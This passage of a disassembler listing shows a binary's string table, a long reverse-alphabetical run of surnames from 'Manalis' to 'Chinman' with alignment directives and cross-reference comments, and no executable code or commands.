db 'Manalis',0 ; DATA XREF: ___:0042E094o aMalova db 'Malova',0 ; DATA XREF: ___:0042E090o align 4 aMaller db 'Maller',0 ; DATA XREF: ___:0042E08Co align 4 aMalatesta db 'Malatesta',0 ; DATA XREF: ___:0042E088o align 4 aMaisano db 'Maisano',0 ; DATA XREF: ___:0042E084o aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: ___:0042E080o align 10h aMaier db 'Maier',0 ; DATA XREF: ___:0042E07Co align 4 aMahony db 'Mahony',0 ; DATA XREF: ___:0042E078o align 10h aMaggio db 'Maggio',0 ; DATA XREF: ___:0042E074o align 4 aMadigan db 'Madigan',0 ; DATA XREF: ___:0042E070o aMacy db 'Macy',0 ; DATA XREF: ___:0042E06Co align 4 aMacmillan db 'MacMillan',0 ; DATA XREF: ___:0042E068o align 4 aMackenney db 'Mackenney',0 ; DATA XREF: ___:0042E064o align 10h aMacintyre db 'Macintyre',0 ; DATA XREF: ___:0042E060o align 4 aMaceachern db 'Maceachern',0 ; DATA XREF: ___:0042E05Co align 4 aMacdonald db 'Macdonald',0 ; DATA XREF: ___:0042E058o align 4 aMaccormac db 'Maccormac',0 ; DATA XREF: ___:0042E054o align 10h aMa db 'Ma',0 ; DATA XREF: ___:0042E050o align 4 aLuzader db 'Luzader',0 ; DATA XREF: ___:0042E04Co aLutcavage db 'Lutcavage',0 ; DATA XREF: ___:0042E048o align 4 aLussier db 'Lussier',0 ; DATA XREF: ___:0042E044o aLuoma db 'Luoma',0 ; DATA XREF: ___:0042E040o align 4 aLunetta db 'Lunetta',0 ; DATA XREF: ___:0042E03Co aLuecke db 'Luecke',0 ; DATA XREF: ___:0042E038o align 4 aLuczkow db 'Luczkow',0 ; DATA XREF: ___:0042E034o aLuciano db 'Luciano',0 ; DATA XREF: ___:0042E030o aLucas db 'Lucas',0 ; DATA XREF: ___:0042E02Co align 10h aLubin db 'Lubin',0 ; DATA XREF: ___:0042E028o align 4 aLoza db 'Loza',0 ; DATA XREF: ___:0042E024o align 10h aLowenstein db 'Lowenstein',0 ; DATA XREF: ___:0042E020o align 4 aLoveman db 'Loveman',0 ; DATA XREF: ___:0042E01Co aLoss db 'Loss',0 ; DATA XREF: ___:0042E018o align 4 aLongworth db 'Longworth',0 ; DATA XREF: ___:0042E014o align 4 aLocatelli db 'Locatelli',0 ; DATA XREF: ___:0042E010o align 4 aLizardo db 'Lizardo',0 ; DATA XREF: ___:0042E00Co aLivolsi db 'Livolsi',0 ; DATA XREF: ___:0042E008o aLivi db 'Livi',0 ; DATA XREF: ___:0042E004o align 4 aLivernash db 'Livernash',0 ; DATA XREF: ___:0042E000o align 4 aLitvak db 'Litvak',0 ; DATA XREF: ___:0042DFFCo align 10h aLittle db 'Little',0 ; DATA XREF: ___:0042DFF8o align 4 aLipponen db 'Lipponen',0 ; DATA XREF: ___:0042DFF4o align 4 aLippmann db 'Lippmann',0 ; DATA XREF: ___:0042DFF0o align 10h aLinzee db 'Linzee',0 ; DATA XREF: ___:0042DFECo align 4 aLinehan db 'Linehan',0 ; DATA XREF: ___:0042DFE8o aLine db 'Line',0 ; DATA XREF: ___:0042DFE4o align 4 aLinder db 'Linder',0 align 10h aLinda db 'Linda',0 align 4 aLinares db 'Linares',0 aLim db 'Lim',0 aLightfoot db 'Lightfoot',0 align 10h aLight db 'Light',0 align 4 aLiem db 'Liem',0 align 10h aLidano db 'Lidano',0 align 4 aLiakos db 'Liakos',0 align 10h aLessi db 'Lessi',0 align 4 aLesser db 'Lesser',0 align 10h aLEnclos db 'l',27h,'Enclos',0 align 4 aLenard db 'Lenard',0 align 4 aLeite db 'Leite',0 align 4 aLeclercq db 'Leclercq',0 align 4 aLecce db 'Lecce',0 align 10h aLecar db 'Lecar',0 align 4 aLawless db 'Lawless',0 aLashley db 'Lashley',0 aLaserna db 'Laserna',0 aLanzit db 'Lanzit',0 align 4 aLantieri db 'Lantieri',0 align 4 aLankes db 'Lankes',0 align 4 aLandes db 'Landes',0 align 4 aLallemant db 'Lallemant',0 align 10h aLaing db 'Laing',0 align 4 aLafler db 'Lafler',0 align 10h aLabunka db 'Labunka',0 aLa db 'La',0 align 4 aKuwabara db 'Kuwabara',0 align 4 aKusman db 'Kusman',0 align 10h aKumar db 'Kumar',0 align 4 aKuenzli db 'Kuenzli',0 aKrysiak db 'Krysiak',0 aKroemer db 'Kroemer',0 aKraus db 'Kraus',0 align 4 aKrasney db 'Krasney',0 aKrailo db 'Krailo',0 align 4 aKraemer db 'Kraemer',0 aKovaks db 'Kovaks',0 align 4 aKotter db 'Kotter',0 align 10h aKorzybski db 'Korzybski',0 align 4 aKool db 'Kool',0 align 4 aKonrad db 'Konrad',0 align 4 aKoniaris db 'Koniaris',0 align 4 aKommer db 'Kommer',0 align 10h aKoivumaki db 'Koivumaki',0 align 4 aKohn db 'Kohn',0 align 4 aKoch db 'Koch',0 align 4 aKobrick db 'Kobrick',0 aKnuff db 'Knuff',0 align 4 aKlint db 'Klint',0 align 4 aKlinkenborg db 'Klinkenborg',0 aKling db 'Kling',0 align 4 aKlemperer db 'Klemperer',0 align 4 aKleinfelder db 'Kleinfelder',0 aKleiman db 'Kleiman',0 aKleckner db 'Kleckner',0 align 4 aKittridge db 'Kittridge',0 align 10h aKirscht db 'Kirscht',0 aKippenberger db 'Kippenberger',0 align 4 aKinsley db 'Kinsley',0 aKindall db 'Kindall',0 aKimura db 'Kimura',0 align 10h aKimmett db 'Kimmett',0 aKimmel db 'Kimmel',0 align 10h aKhong db 'Khong',0 align 4 aKeul db 'Keul',0 align 10h aKerry db 'Kerry',0 align 4 aKendall db 'Kendall',0 aKemsley db 'Kemsley',0 aKempton db 'Kempton',0 aKelsey db 'Kelsey',0 align 4 aKelker db 'Kelker',0 align 10h aKeith db 'Keith',0 align 4 aKeepper db 'Keepper',0 aKeenan db 'Keenan',0 align 4 aKee db 'Kee',0 aKawachi db 'Kawachi',0 aKasten db 'Kasten',0 align 4 aKassower db 'Kassower',0 align 4 aKarpouzes db 'Karpouzes',0 align 4 aKangis db 'Kangis',0 align 4 aKamel db 'Kamel',0 ; DATA XREF: ___:0042DE94o align 4 aKalman db 'Kalman',0 ; DATA XREF: ___:0042DE90o align 4 aKalinowski db 'Kalinowski',0 ; DATA XREF: ___:0042DE8Co align 4 aKalil db 'Kalil',0 ; DATA XREF: ___:0042DE88o align 10h aKaligian db 'Kaligian',0 ; DATA XREF: ___:0042DE84o align 4 aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: ___:0042DE80o aKafadar db 'Kafadar',0 ; DATA XREF: ___:0042DE7Co aKaboolian db 'Kaboolian',0 ; DATA XREF: ___:0042DE78o align 4 aKabbash db 'Kabbash',0 ; DATA XREF: ___:0042DE74o aJulious db 'Julious',0 ; DATA XREF: ___:0042DE70o aJuliano db 'Juliano',0 ; DATA XREF: ___:0042DE6Co aJucks db 'Jucks',0 ; DATA XREF: ___:0042DE68o align 4 aJorgensen db 'Jorgensen',0 ; DATA XREF: ___:0042DE64o align 4 aJolly db 'Jolly',0 ; DATA XREF: ___:0042DE60o align 10h aJohns db 'Johns',0 ; DATA XREF: ___:0042DE5Co align 4 aJohannsen db 'Johannsen',0 ; DATA XREF: ___:0042DE58o align 4 aJohannesson db 'Johannesson',0 ; DATA XREF: ___:0042DE54o aJewett db 'Jewett',0 ; DATA XREF: ___:0042DE50o align 4 aJespersen db 'Jespersen',0 ; DATA XREF: ___:0042DE4Co align 4 aJenkins db 'Jenkins',0 ; DATA XREF: ___:0042DE48o aJellis db 'Jellis',0 ; DATA XREF: ___:0042DE44o align 4 aJeffers db 'Jeffers',0 ; DATA XREF: ___:0042DE40o aJay db 'Jay',0 ; DATA XREF: ___:0042DE3Co aJarrell db 'Jarrell',0 ; DATA XREF: ___:0042DE38o aJarnagin db 'Jarnagin',0 ; DATA XREF: ___:0042DE34o align 4 aJanjigian db 'Janjigian',0 ; DATA XREF: ___:0042DE30o align 10h aJamil db 'Jamil',0 ; DATA XREF: ___:0042DE2Co align 4 aJain db 'Jain',0 ; DATA XREF: ___:0042DE28o align 10h aJagoe db 'Jagoe',0 ; DATA XREF: ___:0042DE24o align 4 aJagger db 'Jagger',0 ; DATA XREF: ___:0042DE20o align 10h aJagers db 'Jagers',0 ; DATA XREF: ___:0042DE1Co align 4 aJackson db 'Jackson',0 ; DATA XREF: ___:0042DE18o aJacenko db 'Jacenko',0 ; DATA XREF: ___:0042DE14o aIyer db 'Iyer',0 ; DATA XREF: ___:0042DE10o align 10h aIsserman db 'Isserman',0 ; DATA XREF: ___:0042DE0Co align 4 aIsbill db 'Isbill',0 ; DATA XREF: ___:0042DE08o align 4 aIsaievych db 'Isaievych',0 ; DATA XREF: ___:0042DE04o align 10h aIsaac db 'Isaac',0 ; DATA XREF: ___:0042DE00o align 4 aInniss db 'Inniss',0 ; DATA XREF: ___:0042DDFCo align 10h aInamura db 'Inamura',0 ; DATA XREF: ___:0042DDF8o aIgarashi db 'Igarashi',0 ; DATA XREF: ___:0042DDF4o align 4 aIchikawa db 'Ichikawa',0 ; DATA XREF: ___:0042DDF0o align 10h aIaquinta db 'Iaquinta',0 ; DATA XREF: ___:0042DDECo align 4 aHyde db 'Hyde',0 ; DATA XREF: ___:0042DDE8o align 4 aHutchings db 'Hutchings',0 ; DATA XREF: ___:0042DDE4o align 10h aHurtubise db 'Hurtubise',0 ; DATA XREF: ___:0042DDE0o align 4 aHupp db 'Hupp',0 ; DATA XREF: ___:0042DDDCo align 4 aHuntington db 'Huntington',0 ; DATA XREF: ___:0042DDD8o align 10h aHungerford db 'Hungerford',0 ; DATA XREF: ___:0042DDD4o align 4 aHuidekoper db 'Huidekoper',0 ; DATA XREF: ___:0042DDD0o align 4 aHuey db 'Huey',0 ; DATA XREF: ___:0042DDCCo align 10h aHoy db 'Hoy',0 ; DATA XREF: ___:0042DDC8o aHoward db 'Howard',0 ; DATA XREF: ___:0042DDC4o align 4 aHottle db 'Hottle',0 ; DATA XREF: ___:0042DDC0o align 4 aHostage db 'Hostage',0 ; DATA XREF: ___:0042DDBCo aHoshida db 'Hoshida',0 ; DATA XREF: ___:0042DDB8o aHorsley db 'Horsley',0 ; DATA XREF: ___:0042DDB4o aHopkins db 'Hopkins',0 ; DATA XREF: ___:0042DDB0o aHooker db 'Hooker',0 ; DATA XREF: ___:0042DDACo align 4 aHolzman db 'Holzman',0 ; DATA XREF: ___:0042DDA8o aHolway db 'Holway',0 ; DATA XREF: ___:0042DDA4o align 4 aHolter db 'Holter',0 ; DATA XREF: ___:0042DDA0o align 4 aHoloien db 'Holoien',0 ; DATA XREF: ___:0042DD9Co aHolmes db 'Holmes',0 ; DATA XREF: ___:0042DD98o align 4 aHokoda db 'Hokoda',0 ; DATA XREF: ___:0042DD94o align 4 aHokanson db 'Hokanson',0 ; DATA XREF: ___:0042DD90o align 4 aHoffman db 'Hoffman',0 ; DATA XREF: ___:0042DD8Co aHoffer db 'Hoffer',0 ; DATA XREF: ___:0042DD88o align 4 aHock db 'Hock',0 ; DATA XREF: ___:0042DD84o align 10h aHoang db 'Hoang',0 ; DATA XREF: ___:0042DD80o align 4 aHitchcock db 'Hitchcock',0 ; DATA XREF: ___:0042DD7Co align 4 aHirst db 'Hirst',0 ; DATA XREF: ___:0042DD78o align 4 aHind db 'Hind',0 ; DATA XREF: ___:0042DD74o align 4 aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: ___:0042DD70o align 10h aHeyeck db 'Heyeck',0 ; DATA XREF: ___:0042DD6Co align 4 aHeubert db 'Heubert',0 ; DATA XREF: ___:0042DD68o aHester db 'Hester',0 ; DATA XREF: ___:0042DD64o align 4 aHerrera db 'Herrera',0 ; DATA XREF: ___:0042DD60o aHernandez db 'Hernandez',0 ; DATA XREF: ___:0042DD5Co align 4 aHenrichs db 'Henrichs',0 ; DATA XREF: ___:0042DD58o align 4 aHenery db 'Henery',0 ; DATA XREF: ___:0042DD54o align 10h aHemphill db 'Hemphill',0 ; DATA XREF: ___:0042DD50o align 4 aHelprin db 'Helprin',0 ; DATA XREF: ___:0042DD4Co aHellmiss db 'Hellmiss',0 ; DATA XREF: ___:0042DD48o align 10h aHellman db 'Hellman',0 ; DATA XREF: ___:0042DD44o aHeiland db 'Heiland',0 ; DATA XREF: ___:0042DD40o aHeft db 'Heft',0 ; DATA XREF: ___:0042DD3Co align 4 aHeermans db 'Heermans',0 ; DATA XREF: ___:0042DD38o align 4 aHazlewood db 'Hazlewood',0 ; DATA XREF: ___:0042DD34o align 10h aHaynes db 'Haynes',0 ; DATA XREF: ___:0042DD30o align 4 aHayes db 'Hayes',0 ; DATA XREF: ___:0042DD2Co align 10h aHawkes db 'Hawkes',0 ; DATA XREF: ___:0042DD28o align 4 aHaviaras db 'Haviaras',0 ; DATA XREF: ___:0042DD24o align 4 aHarwell db 'Harwell',0 ; DATA XREF: ___:0042DD20o aHartnett db 'Hartnett',0 ; DATA XREF: ___:0042DD1Co align 4 aHartmann db 'Hartmann',0 ; DATA XREF: ___:0042DD18o align 4 aHartman db 'Hartman',0 ; DATA XREF: ___:0042DD14o aHarrigan db 'Harrigan',0 ; DATA XREF: ___:0042DD10o align 4 aHarlow db 'Harlow',0 ; DATA XREF: ___:0042DD0Co align 10h aHargraves db 'Hargraves',0 ; DATA XREF: ___:0042DD08o align 4 aHarding db 'Harding',0 ; DATA XREF: ___:0042DD04o aHanssen db 'Hanssen',0 ; DATA XREF: ___:0042DD00o aHand db 'Hand',0 ; DATA XREF: ___:0042DCFCo align 4 aHammerness db 'Hammerness',0 ; DATA XREF: ___:0042DCF8o align 10h aHamer db 'Hamer',0 ; DATA XREF: ___:0042DCF4o align 4 aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: ___:0042DCF0o align 4 aHalpert db 'Halpert',0 ; DATA XREF: ___:0042DCECo aHallowell db 'Hallowell',0 ; DATA XREF: ___:0042DCE8o align 4 aHalkias db 'Halkias',0 ; DATA XREF: ___:0042DCE4o aHaley db 'Haley',0 ; DATA XREF: ___:0042DCE0o align 4 aHackshaw db 'Hackshaw',0 ; DATA XREF: ___:0042DCDCo align 4 aHackman db 'Hackman',0 ; DATA XREF: ___:0042DCD8o aHaar db 'Haar',0 ; DATA XREF: ___:0042DCD4o align 4 aHa db 'Ha',0 ; DATA XREF: ___:0042DCD0o align 4 aGuo db 'Guo',0 ; DATA XREF: ___:0042DCCCo aGunn db 'Gunn',0 ; DATA XREF: ___:0042DCC8o align 4 aGuenthart db 'Guenthart',0 ; DATA XREF: ___:0042DCC4o align 4 aGruppe db 'Gruppe',0 ; DATA XREF: ___:0042DCC0o align 4 aGruner db 'Gruner',0 ; DATA XREF: ___:0042DCBCo align 4 aGrummell db 'Grummell',0 ; DATA XREF: ___:0042DCB8o align 10h aGrigoletto db 'Grigoletto',0 ; DATA XREF: ___:0042DCB4o align 4 aGriffiths db 'Griffiths',0 ; DATA XREF: ___:0042DCB0o align 4 aGreenfeld db 'Greenfeld',0 ; DATA XREF: ___:0042DCACo align 4 aGreenberg db 'Greenberg',0 ; DATA XREF: ___:0042DCA8o align 10h aGravell db 'Gravell',0 ; DATA XREF: ___:0042DCA4o aGozzi db 'Gozzi',0 ; DATA XREF: ___:0042DCA0o align 10h aGoody db 'Goody',0 ; DATA XREF: ___:0042DC9Co align 4 aGoodearl db 'Goodearl',0 ; DATA XREF: ___:0042DC98o align 4 aGood db 'Good',0 ; DATA XREF: ___:0042DC94o align 4 aGoncalves db 'Goncalves',0 ; DATA XREF: ___:0042DC90o align 4 aGoldfarb db 'Goldfarb',0 ; DATA XREF: ___:0042DC8Co align 4 aGlendon db 'Glendon',0 ; DATA XREF: ___:0042DC88o aGlegg db 'Glegg',0 ; DATA XREF: ___:0042DC84o align 4 aGleason db 'Gleason',0 ; DATA XREF: ___:0042DC80o aGist db 'Gist',0 ; DATA XREF: ___:0042DC7Co align 4 aGillispie db 'Gillispie',0 ; DATA XREF: ___:0042DC78o align 10h aGill db 'Gill',0 ; DATA XREF: ___:0042DC74o align 4 aGili db 'Gili',0 ; DATA XREF: ___:0042DC70o align 10h aGilbert db 'Gilbert',0 ; DATA XREF: ___:0042DC6Co aGibson db 'Gibson',0 ; DATA XREF: ___:0042DC68o align 10h aGibbens db 'Gibbens',0 ; DATA XREF: ___:0042DC64o aGhorai db 'Ghorai',0 ; DATA XREF: ___:0042DC60o align 10h aGerrett db 'Gerrett',0 ; DATA XREF: ___:0042DC5Co aGeorgi db 'Georgi',0 ; DATA XREF: ___:0042DC58o align 10h aGemberling db 'Gemberling',0 ; DATA XREF: ___:0042DC54o align 4 aGeller db 'Geller',0 ; DATA XREF: ___:0042DC50o align 4 aGaronna db 'Garonna',0 ; DATA XREF: ___:0042DC4Co aGarman db 'Garman',0 ; DATA XREF: ___:0042DC48o align 4 aGarfield db 'Garfield',0 ; DATA XREF: ___:0042DC44o align 10h aGambini db 'Gambini',0 ; DATA XREF: ___:0042DC40o aGalwey db 'Galwey',0 ; DATA XREF: ___:0042DC3Co align 10h aGaleotti db 'Galeotti',0 ; DATA XREF: ___:0042DC38o align 4 aGaggiotti db 'Gaggiotti',0 ; DATA XREF: ___:0042DC34o align 4 aGabrielli db 'Gabrielli',0 ; DATA XREF: ___:0042DC30o align 4 aFusaro db 'Fusaro',0 ; DATA XREF: ___:0042DC2Co align 4 aFurth db 'Furth',0 ; DATA XREF: ___:0042DC28o align 4 aFuller db 'Fuller',0 ; DATA XREF: ___:0042DC24o align 4 aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: ___:0042DC20o align 4 aFrye db 'Frye',0 ; DATA XREF: ___:0042DC1Co align 10h aFryberger db 'Fryberger',0 ; DATA XREF: ___:0042DC18o align 4 aFrowiss db 'Frowiss',0 ; DATA XREF: ___:0042DC14o aFrisken db 'Frisken',0 ; DATA XREF: ___:0042DC10o aFriedland db 'Friedland',0 ; DATA XREF: ___:0042DC0Co align 4 aFried db 'Fried',0 ; DATA XREF: ___:0042DC08o align 10h aFreundlich db 'Freundlich',0 ; DATA XREF: ___:0042DC04o align 4 aFreid db 'Freid',0 ; DATA XREF: ___:0042DC00o align 4 aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: ___:0042DBFCo align 4 aFranz db 'Franz',0 ; DATA XREF: ___:0042DBF8o align 4 aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: ___:0042DBF4o align 4 aFrancisco db 'Francisco',0 ; DATA XREF: ___:0042DBF0o align 4 aFossi db 'Fossi',0 ; DATA XREF: ___:0042DBECo align 10h aFossey db 'Fossey',0 ; DATA XREF: ___:0042DBE8o align 4 aFortier db 'Fortier',0 ; DATA XREF: ___:0042DBE4o aFortes db 'Fortes',0 ; DATA XREF: ___:0042DBE0o align 4 aForester db 'Forester',0 ; DATA XREF: ___:0042DBDCo align 4 aFolks db 'Folks',0 ; DATA XREF: ___:0042DBD8o align 4 aFlores db 'Flores',0 ; DATA XREF: ___:0042DBD4o align 4 aFlier db 'Flier',0 ; DATA XREF: ___:0042DBD0o align 4 aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: ___:0042DBCCo aFisk db 'Fisk',0 ; DATA XREF: ___:0042DBC8o align 10h aFiorina db 'Fiorina',0 ; DATA XREF: ___:0042DBC4o aFinnegan db 'Finnegan',0 ; DATA XREF: ___:0042DBC0o align 4 aFinkelstein db 'Finkelstein',0 ; DATA XREF: ___:0042DBBCo aFink db 'Fink',0 ; DATA XREF: ___:0042DBB8o align 4 aField db 'Field',0 ; DATA XREF: ___:0042DBB4o align 10h aFido db 'Fido',0 ; DATA XREF: ___:0042DBB0o align 4 aFeuer db 'Feuer',0 ; DATA XREF: ___:0042DBACo align 10h aFerriell db 'Ferriell',0 ; DATA XREF: ___:0042DBA8o align 4 aFerrante db 'Ferrante',0 ; DATA XREF: ___:0042DBA4o align 4 aFernandes db 'Fernandes',0 ; DATA XREF: ___:0042DBA0o align 4 aFernald db 'Fernald',0 ; DATA XREF: ___:0042DB9Co aFeldman db 'Feldman',0 ; DATA XREF: ___:0042DB98o aFejzo db 'Fejzo',0 ; DATA XREF: ___:0042DB94o align 4 aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: ___:0042DB90o align 4 aFates db 'Fates',0 ; DATA XREF: ___:0042DB8Co align 10h aFasso db 'Fasso',27h,0 ; DATA XREF: ___:0042DB88o align 4 aFarren db 'Farren',0 ; DATA XREF: ___:0042DB84o align 10h aFarone db 'Farone',0 ; DATA XREF: ___:0042DB80o align 4 aFaris db 'Faris',0 ; DATA XREF: ___:0042DB7Co align 10h aFalorsi db 'Falorsi',0 ; DATA XREF: ___:0042DB78o aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: ___:0042DB74o align 4 aFaioes db 'Faioes',0 ; DATA XREF: ___:0042DB70o align 10h aFagan db 'Fagan',0 ; DATA XREF: ___:0042DB6Co align 4 aFabbris db 'Fabbris',0 ; DATA XREF: ___:0042DB68o aEverett db 'Everett',0 ; DATA XREF: ___:0042DB64o aEuripides db 'Euripides',0 ; DATA XREF: ___:0042DB60o align 4 aEtter db 'Etter',0 ; DATA XREF: ___:0042DB5Co align 4 aEstes db 'Estes',0 ; DATA XREF: ___:0042DB58o align 4 aEspinoza db 'Espinoza',0 ; DATA XREF: ___:0042DB54o align 10h aErez db 'Erez',0 ; DATA XREF: ___:0042DB50o align 4 aErdos db 'Erdos',0 ; DATA XREF: ___:0042DB4Co align 10h aErdman db 'Erdman',0 ; DATA XREF: ___:0042DB48o align 4 aErbach db 'Erbach',0 ; DATA XREF: ___:0042DB44o align 10h aEppling db 'Eppling',0 ; DATA XREF: ___:0042DB40o aEnyeart db 'Enyeart',0 ; DATA XREF: ___:0042DB3Co aEncinas db 'Encinas',0 ; DATA XREF: ___:0042DB38o aElvis db 'Elvis',0 ; DATA XREF: ___:0042DB34o align 10h aElmerick db 'Elmerick',0 ; DATA XREF: ___:0042DB30o align 4 aElmendorf db 'Elmendorf',0 ; DATA XREF: ___:0042DB2Co align 4 aEliasson db 'Eliasson',0 ; DATA XREF: ___:0042DB28o align 4 aEickenhorst db 'Eickenhorst',0 ; DATA XREF: ___:0042DB24o aEdward db 'Edward',0 ; DATA XREF: ___:0042DB20o align 4 aEdner db 'Edner',0 ; DATA XREF: ___:0042DB1Co align 10h aEdley db 'Edley',0 ; DATA XREF: ___:0042DB18o align 4 aEckel db 'Eckel',0 ; DATA XREF: ___:0042DB14o align 10h aEbeling db 'Ebeling',0 ; DATA XREF: ___:0042DB10o aEardley db 'Eardley',0 ; DATA XREF: ___:0042DB0Co aDwyer db 'Dwyer',0 ; DATA XREF: ___:0042DB08o align 4 aDussault db 'Dussault',0 ; DATA XREF: ___:0042DB04o align 4 aDurrett db 'Durrett',0 ; DATA XREF: ___:0042DB00o aDuffin db 'Duffin',0 ; DATA XREF: ___:0042DAFCo align 4 aDSouza db 'D',27h,'souza',0 ; DATA XREF: ___:0042DAF8o aDrinker db 'Drinker',0 ; DATA XREF: ___:0042DAF4o aDowsland db 'Dowsland',0 ; DATA XREF: ___:0042DAF0o align 10h aDoug db 'Doug',0 ; DATA XREF: ___:0042DAECo align 4 aDoty db 'Doty',0 ; DATA XREF: ___:0042DAE8o align 10h aDosi db 'Dosi',0 ; DATA XREF: ___:0042DAE4o align 4 aDorf db 'Dorf',0 ; DATA XREF: ___:0042DAE0o align 10h aDore db 'Dore',0 ; DATA XREF: ___:0042DADCo align 4 aDoonan db 'Doonan',0 ; DATA XREF: ___:0042DAD8o align 10h aDonner db 'Donner',0 ; DATA XREF: ___:0042DAD4o align 4 aDonahue db 'Donahue',0 ; DATA XREF: ___:0042DAD0o aDoherty db 'Doherty',0 ; DATA XREF: ___:0042DACCo aDockery db 'Dockery',0 ; DATA XREF: ___:0042DAC8o aDirksen db 'Dirksen',0 ; DATA XREF: ___:0042DAC4o aDionysius db 'Dionysius',0 ; DATA XREF: ___:0042DAC0o align 4 aDilworth db 'Dilworth',0 ; DATA XREF: ___:0042DABCo align 10h aDifronzo db 'Difronzo',0 ; DATA XREF: ___:0042DAB8o align 4 aDifabio db 'Difabio',0 ; DATA XREF: ___:0042DAB4o aDiefenbach db 'Diefenbach',0 ; DATA XREF: ___:0042DAB0o align 10h aDicks db 'Dicks',0 ; DATA XREF: ___:0042DAACo align 4 aDFini db 'D',27h,'fini',0 ; DATA XREF: ___:0042DAA8o align 10h aDeutsch db 'Deutsch',0 ; DATA XREF: ___:0042DAA4o aDesombre db 'Desombre',0 ; DATA XREF: ___:0042DAA0o align 4 aDenison db 'Denison',0 ; DATA XREF: ___:0042DA9Co aDenham db 'Denham',0 ; DATA XREF: ___:0042DA98o align 4 aDenault db 'Denault',0 ; DATA XREF: ___:0042DA94o aDemusz db 'Demusz',0 ; DATA XREF: ___:0042DA90o align 4 aDempster db 'Dempster',0 ; DATA XREF: ___:0042DA8Co align 10h aDeming db 'Deming',0 ; DATA XREF: ___:0042DA88o align 4 aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DA84o align 4 aDelger db 'Delger',0 ; DATA XREF: ___:0042DA80o align 4 aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: ___:0042DA7Co align 4 aDelattre db 'Delattre',0 ; DATA XREF: ___:0042DA78o align 4 aDefeciani db 'Defeciani',0 ; DATA XREF: ___:0042DA74o align 4 aDees db 'Dees',0 ; DATA XREF: ___:0042DA70o align 4 aDebroff db 'Debroff',0 ; DATA XREF: ___:0042DA6Co aDerousse db 'deRousse',0 ; DATA XREF: ___:0042DA68o align 10h aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DA64o align 4 aDelapena db 'DeLaPena',0 ; DATA XREF: ___:0042DA60o align 4 aDegennaro db 'DeGennaro',0 ; DATA XREF: ___:0042DA5Co align 4 aDawkins db 'Dawkins',0 ; DATA XREF: ___:0042DA58o aDavid db 'David',0 ; DATA XREF: ___:0042DA54o align 4 aDaskalu db 'Daskalu',0 ; DATA XREF: ___:0042DA50o aDasgupta db 'Dasgupta',0 ; DATA XREF: ___:0042DA4Co align 4 aDas db 'Das',0 ; DATA XREF: ___:0042DA48o aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DA44o aDapice db 'Dapice',0 ; DATA XREF: ___:0042DA40o align 10h aDante db 'Dante',0 ; DATA XREF: ___:0042DA3Co align 4 aDanieli db 'Danieli',0 ; DATA XREF: ___:0042DA38o aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: ___:0042DA34o aDaly db 'Daly',0 ; DATA XREF: ___:0042DA30o align 10h aDaldalian db 'Daldalian',0 ; DATA XREF: ___:0042DA2Co align 4 aDasilva db 'daSilva',0 ; DATA XREF: ___:0042DA28o aCyders db 'Cyders',0 ; DATA XREF: ___:0042DA24o align 4 aCvek db 'Cvek',0 ; DATA XREF: ___:0042DA20o align 4 aCutler db 'Cutler',0 ; DATA XREF: ___:0042DA1Co align 4 aCurrier db 'Currier',0 ; DATA XREF: ___:0042DA18o aCui db 'Cui',0 ; DATA XREF: ___:0042DA14o aCroxton db 'Croxton',0 ; DATA XREF: ___:0042DA10o aCroxen db 'Croxen',0 ; DATA XREF: ___:0042DA0Co align 4 aCroshaw db 'Croshaw',0 ; DATA XREF: ___:0042DA08o aCrocker db 'Crocker',0 ; DATA XREF: ___:0042DA04o aCrawford db 'Crawford',0 ; DATA XREF: ___:0042DA00o align 4 aCoutaux db 'Coutaux',0 ; DATA XREF: ___:0042D9FCo aCounter db 'Counter',0 ; DATA XREF: ___:0042D9F8o aCosmides db 'Cosmides',0 ; DATA XREF: ___:0042D9F4o align 10h aCornish db 'Cornish',0 ; DATA XREF: ___:0042D9F0o aCorey db 'Corey',0 ; DATA XREF: ___:0042D9ECo align 10h aConnors db 'Connors',0 ; DATA XREF: ___:0042D9E8o aCondodina db 'Condodina',0 ; DATA XREF: ___:0042D9E4o align 4 aConcino db 'Concino',0 ; DATA XREF: ___:0042D9E0o aComstock db 'Comstock',0 ; DATA XREF: ___:0042D9DCo align 4 aCompton db 'Compton',0 ; DATA XREF: ___:0042D9D4o ; ___:0042D9D8o aCollis db 'Collis',0 ; DATA XREF: ___:0042D9D0o align 4 aCollard db 'Collard',0 ; DATA XREF: ___:0042D9CCo aColella db 'Colella',0 ; DATA XREF: ___:0042D9C8o aColdren db 'Coldren',0 ; DATA XREF: ___:0042D9C4o aCoito db 'Coito',0 ; DATA XREF: ___:0042D9C0o align 4 aCoblenz db 'Coblenz',0 ; DATA XREF: ___:0042D9BCo aClow db 'Clow',0 ; DATA XREF: ___:0042D9B8o align 4 aClifton db 'Clifton',0 ; DATA XREF: ___:0042D9B4o aClement db 'Clement',0 ; DATA XREF: ___:0042D9B0o aClark db 'Clark',0 ; DATA XREF: ___:0042D9ACo align 10h aClancy db 'Clancy',0 ; DATA XREF: ___:0042D9A8o align 4 aClaffey db 'Claffey',0 ; DATA XREF: ___:0042D9A4o aCifarelli db 'Cifarelli',0 ; DATA XREF: ___:0042D9A0o align 4 aCicero db 'Cicero',0 ; DATA XREF: ___:0042D99Co align 4 aCiampaglia db 'Ciampaglia',0 ; DATA XREF: ___:0042D998o align 10h aChurch db 'Church',0 ; DATA XREF: ___:0042D994o align 4 aChupasko db 'Chupasko',0 ; DATA XREF: ___:0042D990o align 4 aChu db 'Chu',0 ; DATA XREF: ___:0042D98Co aChristopher db 'Christopher',0 ; DATA XREF: ___:0042D988o aChristie db 'Christie',0 ; DATA XREF: ___:0042D984o align 10h aChristiano db 'Christiano',0 ; DATA XREF: ___:0042D980o align 4 aChristian db 'Christian',0 ; DATA XREF: ___:0042D97Co align 4 aChristenson db 'Christenson',0 ; DATA XREF: ___:0042D978o aChinman db 